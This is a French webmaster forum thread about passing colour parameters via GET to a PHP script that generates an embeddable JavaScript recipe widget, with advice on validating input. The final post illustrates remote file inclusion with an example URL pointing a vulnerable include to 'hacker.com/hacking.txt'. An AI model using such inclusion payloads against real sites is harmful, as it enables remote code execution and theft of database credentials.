Javascript généré en PHP et transmission de paramètres

Nouveau WRInaute
Salut!
Ces deniers temps j'ai essayé de concevoir un site de cuisine (archi-cuit), et maintenant, j'aimerais que n'importe quel webmaster puisse mettre une recette sur son site, qui changerait tous les jours. En gros, qu'il puisse ajouter dans son site une recette qui vient du mien.
J'ai donc décidé de générer du Javascript en PHP, ce qui a mon avis est plus propre d'une IFRAME. (cf http://www.peous.com/archicuit/webmasters.php)
Cela permet a n'importe qui d'avoir une recette où il veut sur son site juste en inscrivant
Code:
<script language="javascript" type="text/javascript" src="http://www.peous.com/archicuit/js_show.php"></script>
Mon problème est que je voudrais bien permettre à l'utilisateur changer la couleur du texte, etc.. mais je ne sais pas comment passer des paramètres à ma page dans cette balise <script language="javascript"> jusqu'à mon code PHP...

Une idée
 
Nouveau WRInaute
Tout simple...
comme tu fait appel à un script PHP, tu lui passe les valeurs avec la méthode get

Code:
<script language="javascript" type="text/javascript" src="http://www.peous.com/archicuit/js_show.php?texte=black&fond=white"></script>

pour le reste ru récupère dans ton script PHP(si c'est envoyé)

Code:
<?php
if (isset($_GET['texte'])) 
  $texte=$_GET['texte'];
else 
  $texte="black";
if (isset($_GET['fond'])) 
  $fond=$_GET['fond'];
else 
  $fond="white";
?>
 
Nouveau WRInaute
arf oui en effet c'est tout simple !
merci bien, je vais pouvoir customizer la page !
(manque plus que des utilisateurs :)
 
WRInaute passionné
C'est tres utile mais il faut faire attention au faille de ce systeme.
Une inclusion est possible.
 
Nouveau WRInaute
Et non, toute la beauté du système, c'est que ce n'est justement pas une inclusion mais bien un passage de variable, du coup, c'est toi qui en reste maitre....

Evidement, tu fait une bête vérif avant de l'utiliser.....

-Une comparaison avec un tableau reprenant les seuls valeurs admises vers une autre chaine...
en LDA ca donne un truc du genre
Code:
 si texte="red" alors couleurtexte="#FF0000"
Evidement, tu n'utilise pas la variable Texte pour définir ta couleur mais celle de transfert (couleurtexte)

-Une vérification de chaine formatée (vérif encodage RGB hexa)...

-.......y a plein de possibilités.


pour l'utilisation proprement dite, tu l'integre au style de sortie.

Code:
<div style="color:<? echo $couleurtexte; ?>;font-size:11px;">le texte à afficher</div>

Essaye donc d'envoyer des IFRAMES de cette manière, c'est tout simplement IMPOSSIBLE...
le danger ne vient pas du passage de variable, mai bien de la manière de traiter cette variable....
C'est la base de la sécurité.

--------------------------------------------------------------------------------

Pour information, le problème de la fonction Include est que si tu utilise dans tes fichiers, une fonction du type, includes($page); et que $page n'est pas défini correctement dans le fichier, alors quelqu'un peut utiliser ton script en faisant : tonscript.php?page=http://hacker.com/hacking.txt
Et si http://hacker.com/hacking.txt est un fichier contenant des instructions PHP, elles seront exécutées sur ton site, ce qui peut autoriser le hacker à créer des fichers ou à modifier d'autres fichiers, voir à avoir accès à tes bases de données en lisant tes codes d'accès dans tes fichiers PHP locaux.
 
Discussions similaires
Haut